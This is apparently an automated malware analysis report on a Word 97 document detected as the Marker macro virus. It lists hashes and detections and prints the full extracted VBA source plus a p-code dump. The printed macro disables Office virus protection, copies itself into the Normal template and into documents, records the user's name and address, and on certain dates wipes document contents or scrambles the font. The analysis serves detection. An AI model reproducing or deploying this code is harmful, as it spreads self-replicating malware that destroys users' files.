Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f18a52d9a7ae64a0…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-09
MD5: 78e521386481bf68efd84f8ac9e7fa72 SHA-1: 9ddc0adbfba16f6c5461e1f04cd03a46d98ff72f SHA-256: f18a52d9a7ae64a09db00d865a067e5a0bedb51901622cc12018460e7e376bac
140 Risk Score

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-38 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-38
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10379 bytes
SHA-256: dc3969f839eb2d869582c2a149ad0ad8e61b3c42c8678f98abd9a80bab08e362
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
              
    Dim SavDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
        
    Options.VirusProtection = False
    Const maker = "BLowMaster"
    Options.SaveNormalPrompt = False
    Const Oldmaker = "-> this is another maker!"
    Dim ad, nt As Object
    
    Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
    Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
    
      
    
    DocumentInfected = ad.CodeModule.Find(maker, 1, 1, 10000, 10000)
    NormalTemplateInfected = nt.CodeModule.Find(maker, 1, 1, 10000, 10000)
    
    If (Day(Now()) = 15) And (Month(Now()) Mod 2 = 0) Then
        ActiveDocument.Select
        Selection.Cut
        ActiveDocument.Save
    ElseIf (Day(Now()) = 13) Then
        ActiveDocument.Select
        Selection.Font.Name = "Webdings"
        ActiveDocument.Save
    End If

    'Make sure that some conditions are true before we continue infecting anything
    If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
        (ActiveDocument.SaveFormat = wdFormatDocument Or _
        ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
        'Infect the NormalTemplate
        If DocumentInfected = True Then
  
            SaveNormalTemplate = NormalTemplate.Saved
  
            OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

            'Write a log file of this NormalTemplate infection
            For I = 1 To Len(Application.UserAddress)
                If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
                    If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
                        UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
                    End If
                Else
                    UserAddress = UserAddress & Chr(13) & "' "
                End If
            Next I

            OurCode = OurCode & Chr(13) & _
                      "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                      Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
                      "' " & Application.UserName & Chr(13) & _
                      "' " & UserAddress & Chr(13)

            nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
            nt.CodeModule.AddFromString OurCode
    
            If SaveNormalTemplate = True Then NormalTemplate.Save
    
        End If


        'Infect the ActiveDocument
        If NormalTemplateInfected = True And _
            (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
             ActiveDocument.Saved = False) Then
  
            SavDocument = ActiveDocument.Saved
    
            OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

            ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
            ad.CodeModule.AddFromString OurCode
    
            If SavDocument = True Then ActiveDocument.Save
      
        End If
  
    End If
    
    Options.VirusProtection = False
    Options.SaveNormalPrompt = True
    
    
End Sub

' 10:00:35 AM - Wednesday, 22 Mar 2000
' Ditry PC
'




' Processing file: /opt/analyzer/scan_staging/d4f2f759d03642c880776bfbde95ff84.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5097 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn SavDocument
' 	VarDefn SaveNormalTemplate
' 	VarDefn DocumentInfected
' 	VarDefn NormalTemplateInfected (As Boolean)
' Line #3:
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' 	Dim (Const) 
' 	LitStr 0x000A "BLowMaster"
' 	VarDefn maker
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' 	Dim (Const) 
' 	LitStr 0x0019 "-> this is another maker!"
' 	VarDefn Oldmaker
' Line #8:
' 	Dim 
' 	VarDefn ad
' 	VarDefn nt (As Object)
' Line #9:
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ad 
' Line #11:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' 	Ld maker 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld ad 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St DocumentInfected 
' Line #16:
' 	Ld maker 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St NormalTemplateInfected 
' Line #17:
' Line #18:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000F 
' 	Eq 
' 	Paren 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0002 
' 	Mod 
' 	LitDI2 0x0000 
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #19:
' 	Ld ActiveDocument 
' 	ArgsMemCall Set 0x0000 
' Line #20:
' 	Ld Selection 
' 	ArgsMemCall Cut 0x0000 
' Line #21:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #22:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000D 
' 	Eq 
' 	Paren 
' 	ElseIfBlock 
' Line #23:
' 	Ld ActiveDocument 
' 	ArgsMemCall Set 0x0000 
' Line #24:
' 	LitStr 0x0008 "Webdings"
' 	Ld Selection 
' 	MemLd Font 
' 	MemSt New 
' Line #25:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #26:
' 	EndIfBlock 
' Line #27:
' Line #28:
' 	QuoteRem 0x0004 0x004D "Make sure that some conditions are true before we continue infecting anything"
' Line #29:
' 	LineCont 0x0008 0B 00 08 00 12 00 08 00
' 	Ld DocumentInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormalTemplateInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	Xor 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #30:
' Line #31:
' Line #32:
' 	QuoteRem 0x0008 0x0019 "Infect the NormalTemplate"
' Line #33:
' 	Ld DocumentInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #34:
' Line #35:
' 	Ld NormalTemplate 
' 	MemLd Saved 
' 	St SaveNormalTemplate 
' Line #36:
' Line #37:
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld ad 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St OurCode 
' Line #38:
' Line #39:
' 	QuoteRem 0x000C 0x0031 "Write a log file of this NormalTemplate infection"
' Line #40:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Application 
' 	MemLd UserAddress 
' 	FnLen 
' 	For 
' Line #41:
' 	Ld Application 
' 	MemLd UserAddress 
' 	Ld I 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Ne 
' 	IfBlock 
' Line #42:
' 	Ld Application 
' 	MemLd UserAddress 
' 	Ld I 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Ne 
' 	IfBlock 
' Line #43:
' 	Ld UserAddress 
' 	Ld Application 
' 	MemLd UserAddress 
' 	Ld I 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Concat 
' 	St UserAddress 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	ElseBlock 
' Line #46:
' 	Ld UserAddress 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	St UserAddress 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #49:
' Line #50:
' 	LineCont 0x0010 09 00 16 00 12 00 16 00 1E 00 16 00 29 00 16 00
' 	Ld OurCode 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	Ld Time 
' 	LitStr 0x0010 "hh:mm:ss AMPM - "
' 	ArgsLd Format$ 0x0002 
' 	Concat 
' 	Ld Date 
' 	LitStr 0x0010 "dddd, d mmm yyyy"
' 	ArgsLd Format$ 0x0002 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	Ld UserAddress 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St OurCode 
' Line #51:
' Line #52:
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #53:
' 	Ld OurCode 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #54:
' Line #55:
' 	Ld SaveNormalTemplate 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #56:
' Line #57:
' 	EndIfBlock 
' Line #58:
' Line #59:
' Line #60:
' 	QuoteRem 0x0008 0x0019 "Infect the ActiveDocument"
' Line #61:
' 	LineCont 0x0008 05 00 0C 00 13 00 0D 00
' 	Ld NormalTemplateInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0001 ":"
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	Or 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #62:
' Line #63:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St SavDocument 
' Line #64:
' Line #65:
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St OurCode 
' Line #66:
' Line #67:
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld ad 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #68:
' 	Ld OurCode 
' 	Ld ad 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #69:
' Line #70:
' 	Ld SavDocument 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #71:
' Line #72:
' 	EndIfBlock 
' Line #73:
' Line #74:
' 	EndIfBlock 
' Line #75:
' Line #76:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #77:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #78:
' Line #79:
' Line #80:
' 	EndSub 
' Line #81:
' Line #82:
' 	QuoteRem 0x0000 0x0025 " 10:00:35 AM - Wednesday, 22 Mar 2000"
' Line #83:
' 	QuoteRem 0x0000 0x0009 " Ditry PC"
' Line #84:
' 	QuoteRem 0x0000 0x0000 ""
' Line #85:
' Line #86:
' Line #87:

Open this report in the interactive analyzer, or submit your own file for analysis.